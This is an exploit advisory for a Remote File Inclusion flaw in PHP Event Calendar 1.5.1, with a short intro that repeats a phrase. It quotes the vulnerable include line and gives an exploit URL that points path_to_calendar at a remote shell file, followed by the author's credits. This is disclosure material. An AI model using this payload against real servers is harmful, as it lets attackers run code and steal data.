PHP Event Calendar 1.5.1 Remote File Inclusion

PHP Event Calendar version 1.5.1 was vulnerable to a critical PHP Event Calendar version 1.5.1 was vulnerable to a critical Remote File Inclusion (RFI) flaw. This allowed an attacker to include and execute arbitrary code from a remote server.

The vulnerability typically stemmed from insufficient input validation on a parameter, often named `path`, used within a PHP `include()` or `require()` statement. By manipulating this parameter with a URL pointing to a malicious script, an attacker could force the server to download and execute their code.

This could lead to severe consequences, including full server compromise, data theft, or defacement. Users were strongly advised to upgrade to a patched version or disable `allow_url_include` in their PHP configuration.

Title : PHP Event Calendar 1.5.1 (index.php) Remote File Include
Vulnerability
########################################################################
#######

Discovered By :::: ThE-LoRd-Of-CrAcKiNg {MeHdi}

------------------------------------------------------------------------
Sorce Code:
**********
http://www.scriptdungeon.com/jump.php?ScriptID=633

Affected software description :
******************************
Title: PHP Event Calendar
// URL: http://www.softcomplex.com/products/php_event_calendar/
// Version: 1.5.1
// Date: 03/04/2005 (mm/dd/yyyy)
// Tech. support: http://www.softcomplex.com/forum/forumdisplay.php?fid=55
Cat?gorie :Remote File Include
------------------------------------------------------------------------
Vulnerable Code:
***************
include $path_to_calendar."calendar.php";

affected file: cl_files/index.php
----------------------------------------------------------------------
Exploit:
*******
http://www.VicTim.com/[Script_Path]/cl_files/index.php?path_to_calendar=Shell.txt?


------------------------------------------------------------------------
----

greetz: Studio36-DeStRoY-ToOoFA-AsbMay-Mr.3freet-Simba-Disco-Fai?eu-YouSSeF
& all my friends

Special Greeting:AsbMay's Group & TrYaG TeaM

channel:www.asb-may.net & www.tryag.com

contact:spoonman500[at]hotmail[dot]com / This email address is being protected from spambots. You need JavaScript enabled to view it.

_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis !
http://www.msn.fr/msger/default.asp